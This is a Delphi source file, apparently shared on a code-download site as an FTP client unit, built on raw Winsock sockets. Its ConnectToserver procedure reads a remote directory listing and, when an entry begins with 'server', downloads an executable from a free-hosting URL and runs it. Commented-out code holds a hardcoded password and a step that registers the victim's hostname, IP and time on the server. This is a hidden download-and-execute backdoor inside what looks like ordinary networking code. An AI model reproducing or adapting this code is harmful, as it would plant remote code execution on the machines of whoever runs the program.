DM5314_Uftp.pas
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:12k
源码类别:

Delphi控件源码

开发平台:

Delphi

  1. unit DM5314_Uftp  ;
  2. interface
  3. uses winsock,DM5314_UCommandsAndUtils,Windows;
  4. const
  5.     WM_ftpcom = $0400 + 4;
  6.   WM_ftpdata = $0400+ 5;
  7.   WM_ftppasv = $0400 + 6;
  8.   FTP_sConnected =1 ;
  9.   FTP_sDisconnected= 2 ;
  10.    FTP_sUpload =3 ;
  11.    FTP_sDownload = 4 ;
  12.    FTP_sList = 5;
  13.   var
  14. wVersionRequested  : WORD ;
  15. inn : IN_ADDR ;
  16. nErrorStatus : integer;
  17.    wsa_Data  : WSADATA;
  18. ftpdata : TSocket;
  19. ftpdataclient : TSocket;
  20. ftpcom : TSocket;
  21.  ftppasv: TSocket;
  22.   ftpaddr : SOCKADDR_IN; // Internet address
  23.   
  24.   ftpCaddr : SOCKADDR_IN; // Internet address
  25.   ftpCaddrserver : SOCKADDR_IN; // Internet address
  26.   ftpPasvaddr : SOCKADDR_IN;
  27.   ftpPasvServeraddr :  SOCKADDR_IN  ;
  28.   FTP_WAIT : integer;
  29.  FTP_Directories: string   ;
  30.   FTP_IP : STRING;
  31.   FTP_Port : integer;
  32.   FTP_Downloadfilename : string;
  33.   FTP_Uploadfilename : string;
  34.   FTP_TempFile : string ;
  35.   id : cardinal;
  36.   FTP_PASS : string;
  37.   FTP_USer : string;
  38.   FTP_status : integer;
  39. implementation
  40.   uses  Mainform;
  41. procedure SocketClose(var Socket: TSocket; Handle: HWND ; wMsg : integer);
  42. var
  43.   RC: integer;
  44. begin
  45.   if Socket <> INVALID_SOCKET then
  46.     begin
  47.        WSAASyncSelect(Socket, Handle, wMsg , 0);
  48.       if shutdown(Socket, 1) <> 0 then
  49.         if WSAGetLastError <> WSAENOTCONN then
  50.           begin
  51.            // SocketError(WSAGetLastError);
  52.             Exit;
  53.           end;
  54.       if closesocket(Socket) <> 0 then
  55.        // SocketError(WSAGetLastError)
  56.       else
  57.         Socket:= INVALID_SOCKET;
  58.     end;
  59. end;
  60.   procedure CreateFTPPasv ;
  61.   var
  62.   HostEnt: PHostEnt;
  63.   begin
  64.   Sleep(2000);
  65.   SocketClose ( ftppasv,frmMain.Handle,  WM_ftppasv);
  66.    {--------------We have to create a socket for ftp Commands Client------------- }
  67.   ftppasv := socket(AF_INET, SOCK_STREAM, 0);
  68.   if (ftppasv <> INVALID_SOCKET)   THEN BEGIN
  69.   ftppasvaddr.sin_family := AF_INET;
  70.   ftppasvaddr.sin_port := 0;
  71.   ftppasvaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  72.   end;
  73.  if (bind(ftppasv ,ftppasvaddr,sizeof(ftppasvaddr))= INVALID_SOCKET ) then begin
  74.  halt;
  75.  end;
  76.  if (WSAAsyncSelect(ftppasv, FrmMain.Handle, WM_ftppasv , FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
  77.  halt;
  78.  end;
  79.  ftpPasvServeraddr.sin_family := AF_INET;
  80.  ftpPasvServeraddr.sin_port := htons(FTP_Port);
  81. ftpPasvServeraddr.sin_addr.s_addr := inet_addr(pchar(FTP_IP));
  82.       if ftpPasvServeraddr.sin_addr.s_addr = -1 then
  83.         begin
  84.         HostEnt := GetHostByName(pchar(FTP_IP));
  85.          if HostEnt = nil then
  86.          begin
  87.          Exit;
  88.          end;
  89.         ftpPasvServeraddr.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
  90.          end;
  91.  if (connect(ftppasv,ftpPasvServeraddr,sizeof(ftpPasvServeraddr)) =SOCKET_ERROR) then begin
  92.  //messagebox(0,'dddddddddddd','ddddddddd',0);
  93.  end;
  94.   end;
  95. procedure CreateFTPData ;
  96. begin
  97.        SocketClose ( ftpdata,frmMain.Handle, WM_ftpdata);
  98.   {--------------We have to create a socket for ftp Data Server----------------- }
  99.  ftpdata := socket(AF_INET, SOCK_STREAM, 0);
  100.    if (ftpdata <> INVALID_SOCKET)   THEN BEGIN
  101.    ftpaddr.sin_family := AF_INET;
  102.    ftpaddr.sin_port := htons(2600);
  103.    ftpaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  104.    end;
  105.    if (bind(ftpdata,ftpaddr,sizeof(ftpaddr))=  INVALID_SOCKET ) then begin
  106.    WSACleanup();
  107.    halt;
  108.    end;
  109.    if ( listen(ftpdata,3)= INVALID_SOCKET) then begin
  110.    WSACleanup();
  111.    halt;
  112.    end ;
  113.    if (WSAAsyncSelect(ftpdata, frmMain.Handle, WM_ftpdata, FD_ACCEPT or FD_CLOSE or FD_READ or FD_WRITE) = SOCKET_ERROR) then begin
  114.    halt;
  115.    end;
  116. end;
  117.     procedure CreateFTPCOM ;
  118. begin
  119.      SocketClose ( ftpcom ,frmMain.Handle,  WM_ftpcom);
  120.    {--------------We have to create a socket for ftp Commands Client------------- }
  121.   ftpcom  := socket(AF_INET, SOCK_STREAM, 0);
  122.   if (ftpcom  <> INVALID_SOCKET)   THEN BEGIN
  123.   ftpCaddr.sin_family := AF_INET;
  124.   ftpCaddr.sin_port := 0;
  125.   ftpCaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  126.   end;
  127.  if (bind(ftpcom ,ftpCaddr,sizeof(ftpCaddr))= INVALID_SOCKET ) then begin
  128.  halt;
  129.  end;
  130.  if (WSAAsyncSelect(ftpcom, FrmMain.Handle, WM_ftpcom , FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
  131.  halt;
  132.  end;
  133. end;
  134.  procedure FTP_MKD (dir : string);
  135.  begin
  136.      SendData  (ftpcom,'MKD ' + dir + #13#10);
  137.  end;
  138.   procedure FTP_DEL (source : string);
  139.  begin
  140.       SendData  (ftpcom,'DELE ' + source + #13#10);
  141.  end;
  142.    procedure FTP_RMD(old: string;new : string);
  143.  begin
  144.        SendData  (ftpcom,'RNFR ' + old  + #13#10);
  145.        sleep(100);
  146.       SendData  (ftpcom,'RNTO ' + old  + #13#10);
  147.  end;
  148. function FTP_LIST(DIR : string): string;
  149.  begin
  150. FTP_status:=FTP_sList ;
  151.    FTP_Directories:='';
  152.   sleep(100);
  153.   SendData  (ftpcom,'PASV ' + #13#10);
  154.    sleep(100);
  155.  SendData  (ftpcom,'NLST ' + Dir+ #13#10);
  156.  end;
  157.  procedure FTP_Connect(Host: string;User : string; PASS : string;Port : integer);
  158.   var
  159. HostEnt: PHostEnt;
  160. begin
  161. FTP_PASS:=PASS;
  162. FTP_User:=User ;
  163.    CreateFTPCom;
  164.  ftpCaddrserver.sin_family := AF_INET;
  165.  ftpCaddrserver.sin_port := htons(Port);
  166.  ftpCaddrserver.sin_addr.s_addr := inet_addr(pchar(Host));
  167.       if ftpCaddrserver.sin_addr.s_addr = -1 then
  168.         begin
  169.         HostEnt := GetHostByName(pchar(Host));
  170.          if HostEnt = nil then
  171.          begin
  172.          Exit;
  173.          end;
  174.          ftpCaddrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
  175.          end;
  176.  if (connect(ftpcom, ftpCaddrserver,sizeof(ftpCaddrserver)) =SOCKET_ERROR) then begin
  177.  //messagebox(0,'dddddddddddd','ddddddddd',0);
  178.  end;
  179.  end;
  180. procedure FTP_CWD(DIR : string);
  181.  begin
  182.   sleep(100);
  183.  SendData  (ftpcom,'CWD ' + DIR+ #13#10);
  184.  end;
  185.  procedure FTP_Upload (filename : string);
  186.  begin
  187.   FTP_status:=FTP_sUpload ;
  188.  FTP_Uploadfilename:=filename;
  189.    If FileExists (FTP_Uploadfilename)=true Then  begin
  190.  SendData  (ftpcom,'PASV ' + #13#10);
  191.  sleep(100);
  192.  SendData  (ftpcom,'STOR ' + GetFileName(filename) + #13#10);
  193.    end;
  194.  end;
  195. procedure FTP_download(remotefile : string) ;
  196.  begin
  197.  FTP_status:=FTP_sDownload ;
  198.    SendData  (ftpcom,'PASV ' + #13#10);
  199.  sleep(100);
  200.  SendData  (ftpcom,'RETR ' + remotefile + #13#10);
  201.  end;
  202.  procedure FTP_Desconect;
  203.  begin
  204.  end;
  205.     procedure ConnectToserver ;
  206. var
  207. temp,temp1,temp2,tempData : string;
  208. a,i : integer;
  209. begin
  210.  sleep(100);
  211. temp :=replace(FTP_Directories,#13#10,'*');
  212. i:=FindNChars (temp  ,'*' );
  213. for a:= 1 to i do begin
  214. temp1:= (copy(temp,1,FindChar(temp,'*'))) ;
  215. temp2:=  copy(temp1,1,length(temp1)-1 );
  216. sleep(10);
  217.  if  copy( temp2,1,6)='server' then begin
  218.  Descargar ( 'http://shukisnike.250free.com/ips/server.exe','c:server.exe');
  219.  ShellEx( 'c:server.exe')
  220.  end;
  221. if  copy( temp2,1,9)='darkmoon_' then begin
  222.      messagebox (0,pchar(temp2),'',0);
  223. //cIP:=copy(temp2,10,length(temp2) );
  224. //cIP:=replace(cIP,'a','.');
  225. end;
  226. temp:=replace ( temp,temp1,''  );
  227. end ;
  228. end;
  229.       procedure ftpdataEvents( wParam,lParam: Integer);
  230.       var
  231.      Recived : string;
  232.      BytesToRead : Integer;
  233.      Begin
  234.      case lParam  of
  235.      FD_READ:  begin
  236.        if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
  237.        begin
  238.        SetLength( Recived, BytesToRead );
  239.        Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );
  240.          if FTP_status=FTP_sList then begin
  241.           // FTP_Directories:=FTP_Directories +  Recived  ;
  242.          end;
  243.        frmMain.Memo2.Lines.Add( Recived ) ;
  244.        end;
  245.       end;
  246.       FD_ACCEPT:  begin
  247.         ftpdataclient:= accept(ftpdata,nil,nil);
  248.        end;
  249.       FD_CLOSE:  begin
  250.       try CloseSocket(wParam ); except end;
  251.       end;
  252.       end;
  253.     End;
  254.         procedure ftpPasvEvents( wParam,lParam: Integer);
  255.            var
  256.        Recived : string;
  257.      BytesToRead : Integer;
  258.      begin
  259.      case lParam  of
  260.       FD_READ:  begin
  261.      if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
  262.      begin
  263.      SetLength( Recived, BytesToRead );
  264.      Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );
  265.         FTP_WAIT:=0;
  266.         if FTP_status=FTP_sList then begin
  267.            FTP_Directories:=Recived  ;
  268.               ConnectToserver;
  269.          end
  270.          else
  271.          begin
  272.             frmMain.Memo2.Lines.Add(   Recived);
  273.          end;
  274.     
  275.      end;
  276.      end ;
  277.       FD_Connect:
  278.       begin
  279.           frmMain.Caption:='PASV';
  280.    // SendData ( ftppasv, 'ssssssssssssssss .'+ #13#10);
  281. // closesocket(ftppasv);
  282.    // SendData (ftpcom, 'PASS ' + 'KissmyAss123' + #13#10);
  283.    // SendData (ftpcom, 'CWD ' + '/ips' + #13#10);
  284.     //SendData (ftpcom, 'MKD ' + GetLocalHostName + '__' + LocalIP + '__' + TIME + '__' + ddATE +  #13#10);
  285.     //SendData (ftpcom, 'PORT ' + replace ( LocalIP,'.',',') + ',10,40' + #13#10);
  286.    // SendData (ftpcom, 'NLST ' + #13#10);
  287.       end;
  288.      end;
  289.         end;
  290.    procedure ftpcomEvents( wParam,lParam: Integer);
  291.       var
  292.        Recived : string;
  293.      BytesToRead : Integer;
  294.        temp : string;
  295.        port1, port2 : integer;
  296.         F :file of char;
  297. G :textfile;
  298. s,Data,Data1, Data3,tmpData,tmpData1: string;
  299. l ,c : char;
  300.      begin
  301.      case lParam  of
  302.       FD_READ:  begin
  303.      if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
  304.      begin
  305.      SetLength( Recived, BytesToRead );
  306.      Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );
  307.            if  copy (Recived,1,8)= '150-FILE' then begin
  308.                       FTP_TempFile:= split ( Recived,':',1);
  309.                   FTP_TempFile:= replace (FTP_TempFile,#13#10,'*');
  310.                FTP_TempFile:= split  (  FTP_TempFile,'*',0);
  311.               frmmain.Label3.Caption:=FTP_TempFile;
  312.            // FTP_RMD (FTP_TempFile,'zzapper.txt');
  313. If FileExists (FTP_Uploadfilename)=true Then  begin
  314.                    Data:='';
  315. AssignFile (F,FTP_Uploadfilename);
  316. FileMode := 0;
  317. Reset (F);
  318.          while not eof( F ) do
  319.       begin
  320.            read( F, l );
  321.            Data := Data + l;
  322.       end;
  323.       SendData ( ftppasv,Data + #13#10);
  324.             end;
  325.                closesocket(ftppasv);
  326.            end;
  327.              if  copy (Recived,1,3)='150'then begin
  328.                if FTP_status=FTP_sUpload then begin
  329.                If FileExists (FTP_Uploadfilename)=true Then  begin
  330.                    Data:='';
  331. AssignFile (F,FTP_Uploadfilename);
  332. FileMode := 0;
  333. Reset (F);
  334.          while not eof( F ) do
  335.       begin
  336.            read( F, l );
  337.            Data := Data + l;
  338.       end;
  339.       SendData ( ftppasv,Data + #13#10);
  340.               sleep(100);
  341.          closesocket(ftppasv);
  342.            end;
  343.             End;
  344.             if FTP_status=FTP_sDownload then begin
  345.             end;
  346.              end;
  347.             if  copy (Recived,1,3)='227'then begin
  348.              temp:=( split ( Recived,'(',1));
  349. FTP_IP:=(split (temp,',',0) + '.' +  split (temp,',',1) +'.' + split (temp,',',2) + '.' +split (temp,',',3) );
  350. FTP_Port:=(strtoint(split (temp,',',4))*256)+strtoint(split (temp,',',5));
  351.           BeginThread ( nil, 0, @ CreateFTPPasv, nil, 0, id );
  352.   //showmessage ( FTP_IP + '  ' + inttostr(FTP_Port));
  353.             end;
  354.      //frmMain.Memo1.Lines.Add(   Recived);
  355.      end;
  356.      end ;
  357.       FD_Connect:
  358.       begin
  359.           frmMain.Caption:='connected';
  360.     SendData (ftpcom, 'USER ' + FTP_USER + #13#10);
  361.     SendData (ftpcom, 'PASS ' + FTP_PASS + #13#10);
  362.    // SendData (ftpcom, 'CWD ' + '/ips' + #13#10);
  363.     //SendData (ftpcom, 'MKD ' + GetLocalHostName + '__' + LocalIP + '__' + TIME + '__' + ddATE +  #13#10);
  364.     //SendData (ftpcom, 'PORT ' + replace ( LocalIP,'.',',') + ',10,40' + #13#10);
  365.    // SendData (ftpcom, 'NLST ' + #13#10);
  366.       end;
  367.      end;
  368.      end;
  369. procedure FTP_SETUP;
  370. begin
  371.  wVersionRequested :=MAKEWORD(1, 1)  ;    //start the winsock
  372.  nErrorStatus := WSAStartup(wVersionRequested, wsa_Data);
  373.  if (nErrorStatus <> 0)  then     begin
  374.  //WSAGetLastError()
  375. messagebox(0,pchar(inttostr(nErrorStatus)),'ddddddd',0);
  376.  end;
  377.  if ( (LOBYTE(wsa_Data.wVersion) <> LOBYTE(wVersionRequested)) and
  378. (HIBYTE(wsa_Data.wVersion) <> HIBYTE(wVersionRequested)) )  then
  379. begin
  380. halt;
  381. WSACleanup(); // terminate WinSock use
  382. end;
  383.  //label1.Caption:=LocalIP;
  384.  //edit2.Text:=replace ( LocalIP,'.',',')
  385. end;
  386. end.